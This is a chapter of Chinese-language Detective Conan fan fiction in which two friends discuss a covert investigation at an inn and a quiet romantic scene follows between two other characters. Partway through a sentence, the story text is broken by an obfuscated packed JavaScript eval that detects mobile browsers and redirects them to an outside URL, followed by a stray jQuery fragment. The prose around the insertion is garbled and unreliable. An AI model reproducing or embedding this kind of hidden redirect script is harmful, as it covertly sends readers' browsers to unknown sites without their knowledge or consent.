24.幼驯染在干什么勾当9
作品:《[名柯]和送我导师进去了的警官组了CP》 诸伏高明和真狩朔见目的达到,用完餐后没待多久就准备告辞。
行李还在身边,拿起后两人并排走出了开始有了些人气的和室。
降谷零和诸伏景光则是顺着另一侧打开的拉门走进了庭院,两人一边聊天一边顺着小径走着,像是颇为投机的样子。
“早知道不找这家伙帮忙了。”降谷零有些头痛,但在面上依旧保持着一副泰然自若的神情,“还有警方那边,看来通知还是下达晚了。居然被他们一起找到了这里。”
诸伏景光闻言倒是摇了摇头,“你就算再怎么提前,他还是会一样追过来的。”
降谷零理所当然地以为对方说的是真狩朔,但他立刻察觉到了要点,“按理说那家伙只知道铊这一条线索,所以是渡边先生那边发生了我们不知道的事情,才能追查过来的?”
诸伏景光的目光顺着池边的惊鹿跳动了一下,语气里的异样在降谷零听来有些过于明显了。
“算是吧。”诸伏景光含糊道。
降谷零皱起了眉头。
“抱歉,不是要隐瞒你什么,只是我也还不确定。”诸伏景光转移了目光,重新把注意力放回眼前,“不过,你说的对,既然他们能找到白马旅店,那一定是发生了什么。”
降谷零抱胸,“你有想法?”
“我在想,既然这个叛逃组织的人不惜暴露自己也要除掉那位前田小姐,想必前田小姐一定是掌握了很致命的东西才对。”
诸伏景光把声音压得更低了,他悠闲地漫步在石子小路上,神情放松,任谁也想不到他们聊的话题有多危险。
“可你在前田小姐的家中搜查过了,也没能找到其他线索。那么目前最有可能接触到核心线索的只有那位已经去世的冈本警官了。”诸伏景光一边说着,一边和降谷零走到了车库。
“而冈本警官又找到了渡边先生,所以他们一定是从冈本警官那里有了线索,找到了这里。”
“哈,我懂你的意思了。你是想让他们俩也参与进来了。”降谷零拉开了车门,他坐进了驾驶座,又降下了车窗面露调侃,倒是和他的伪装相得益彰。“真难得,要是以前遇到这种情况,你可是第一个反对的。”
诸伏景光没有上车,只是支着车顶微微俯下身,“不管怎么说,你去调查也要注意安全。”
猫眼青年蓝色的瞳孔在昏暗的车库中微微发亮,他低声道:“毕竟现在我们追查的人,可是能毫发无损从组织中脱离的人。”
“别担心。”降谷零将肘部搭在车窗沿,支着脑袋,“倒是你那边怎么样?有合适的地点吗?”
“没问题。”诸伏景光颔首。
于是降谷零点点头,发动了车辆,却又忽然探出头道:“我说你啊,真没事情瞒着我?”
诸伏景光有些愣怔,但很快轻笑了一下,他向后退了几步,提高了音量,“一路顺风,安室先生,别忘了回来参与祭典。”
“啧。”降谷零的动作顿了一下,察觉到不对的他只能挥挥手,无奈地关上了车窗。
诸伏景光目送着他的车离开,眯起眼睛的他和诸伏高明在眉目处的相似度简直高达七成。
车库后门一道影子缓缓消失在门后。
猫眼公安直到等车辆驶远,他这才转身离开。
————
重回连廊,真狩朔的脚步显得有些急切。奇特的是,诸伏高明发现黑发博士的木屐落在地板上的声音不轻不重,比常人克制过的走路声响还要小些。
路过了用餐的和室,继续向前走便是主屋,被擦拭地油亮的立柱后是祭祀用的朱红色祭台。
房间的面积太过宽阔,反而使得阳光无法彻底照亮深处,只留一层薄薄的阳光堪堪落在了蒲团边缘。
一具古代铠甲正襟危坐在祭台上,背后是风格迤逦的浮世绘,似乎讲述了这具铠甲主人的故事。
但真狩朔的目光全被陈列在铠甲前的那振细太刀吸引了。
他不由自住地向前挪动了一步。
“咳咳。”诸伏高明轻咳出声,一下惊醒了两个人。
黑发博士这才注意到了铠甲前的阴影里跪坐着的小町文夏。
身着浅色和服的女孩也忽然回头。
“啊,是藤原先生和渡边先生!”小町文夏似乎紧张地提了一口气。
短暂的停顿后,她然后猛的倾身向前,对两人行了一个大礼。
“非常抱歉!藤原先生、渡边先生,方才文夏实在不应该丢下两位先生直接离开!文夏之后也会再亲自对安室先生道歉的。对二位先生的失礼之处请您们原谅。”
一个标准的座礼行下,道歉的话像流水一样不带喘息的吐出。
真狩朔和诸伏高明默契地一左一右分开,避开了小町文夏的土下座。
“小町小姐,你先起来吧,我们没有怪罪你的意思。”真狩朔收回了先前向前探出的脚。
“不能因为对方的不在意和轻易原谅而选择得过且过。这是白马老板教我的、淑女的修养。”小町文夏十分坚定的行完了礼,这才抬起头看向发愣的两人。
“谢谢藤原先生和渡边先生的宽宏大量。”她提着的一口气终于松了下来,又露出了那熟悉的,腼腆而温柔的微笑。
“我继续带二位先生去房间吧。”
卧室成左右对称状分布在主屋两侧,最后绕成一圈左右相接,真狩朔和诸伏高明被带到了编号为十二的房间。
将另一枚钥匙转交给诸伏高明,小町文夏柔声交代了几句晚上祭典的活动时间,这才告辞离开。
房门在身后关闭。真狩朔这才松下了心神,面上流露出一抹忧色。
他刚想开口,却见诸伏高明拿出了手机在上面敲下了一行字。
小心隔墙有耳。
真狩朔又重新闭上了嘴,只是面上的忧色更盛。
他开始觉得自己或许不该来这里。
自然不是因为害怕这种未知。而是觉得……
真狩朔盯着自己的手掌,他会不会给两位幼驯染和高明哥拖后腿,从而带来麻烦?
黑发博士皱眉,沮丧、忧虑和一丝不甘的无力感迅速从他的心中闪过。
诸伏高明打开了电视,早间新闻里主持人明亮的播音腔回响在房间之中,遮盖了房间中的响动。
凤眼警官伸出手温柔的摸了摸真狩朔的头,温和的问:“怎么了?为什么不开心?是太累了吗?
真狩朔就这么定定的看着他。
真奇怪啊。真狩朔也伸出手,握住了那只抚摸着他头发的手。
明明他与诸伏景光、降谷零是认识了二十多年的好友了,为什么在两位幼驯染遇到案件的时候觉得担忧。
遇到了高明哥后却想着一定要一起来调查。
为什么在真的见到了两位幼驯染的严谨伪装后只会感到尴尬和忧虑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124504|195897||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,却在高明哥面前会联想到这份严谨之后带来的危险与未知,而觉得无力又失落。
真狩朔搞不明白,他缓缓呼出一口气,握着诸伏高明的手放到了自己的面颊上。
他细长睫毛颤抖着,隐约透露出被遮盖住的绿色。
好奇怪,自从遇到了高明哥之后自己就变得好奇怪。
诸伏高明的手掌带着一丝凉意,贴上真狩朔温热的脸颊后他觉得像是贴上了一块烙铁,条件反射的就想将手抽离。
真狩朔罕见强势地握紧了诸伏高明的手,他依旧没有抬眼,目光毫无着落,像是放空又像是在思考。
想到耳边电视的杂音渐渐远去,想到诸伏高明的心脏“砰砰砰”地越跳越快,真狩朔还是没能想出任何理由。
“朔君……”诸伏高明的喉结滚了滚,指尖都开始发烫。
真狩朔终于动了,他依旧垂着睫毛,也依旧握着诸伏高明白皙修长的右手。
然后他用双手包裹住了凤眼警官的右手。
绿眼青年的手骨节分明,动作时手背上有明显的筋骨起伏,指尖有一种粗粝感。附在诸伏高明手背上时,那种刀茧带来的刮蹭感奇异又特别。
真狩朔的左手虎口处有一道明显的刀疤,诸伏高明早就在猜想着青年的剑道水平应该很不错,今天他的表现或许也侧面说明了这一点。
年长者罕见地紧张了,他用另一只手松了松领带结,试图说些什么。
但真狩朔却先开口了,“高明哥摸了我的头那么多次,这次也该我摸回来了。”
黑发博士再次抬头时脸上依旧是那明媚的笑意,诸伏高明愣住看着,真狩朔毫不避讳地道:“上次在餐厅看见高明哥喝茶的时候,我就在想高明哥的手和陶瓷究竟哪个触感好些呢?”
“这下终于被我好好摸到了。”
诸伏高明看着青年澄澈的双眼,觉得自己的耳朵现在肯定红了,说不定红晕已经蔓延到面颊了。
他也摸不清真狩朔的意思了。
一时之间只能定在原地,无法做出反应。
可是青年又很自然的松开了手,“好了,这下扯平了。”真狩朔对着凤眼警官眨了眨眼。
如果这是装的,怎么会这么自然。
如果这不是装的,怎么会自然到这种地步。
凤眼警官心中是对真狩朔一团乱麻的疑惑。
“高明哥?”真狩朔眨了眨眼,再次凑到他的身边说道:“你不会生气吧?”
诸伏高明收回了手,他不知道自己现在脸上是什么样的表情,但他还是说出了和那天一样的话。
“怎么会呢。”他的声音似乎都在叹息。
而真狩朔从双眼到眉梢都透漏着满意,“话说我是不是忘记对高明哥你说……那个金发公安——安室透。”
诸伏高明的指尖松了松,他控制着自己,试图让自己的表现重回正轨。
“他也是景光的幼驯染,是吧。”
“呃,高明哥你知道啊,那又为什么对他那么警惕。”真狩朔这次是真的惊讶了。
“我一开始没想起来。后来还是看到你对他的态度后这才回想起来的。”诸伏高明转过身,开始收拾行李。
真狩朔挠了挠头,“……怪我,我忘记提前告诉你了。”
他看着诸伏高明掩饰般的动作,眸色渐深。
他究竟有没有想到那一个答案,谁也不知道。

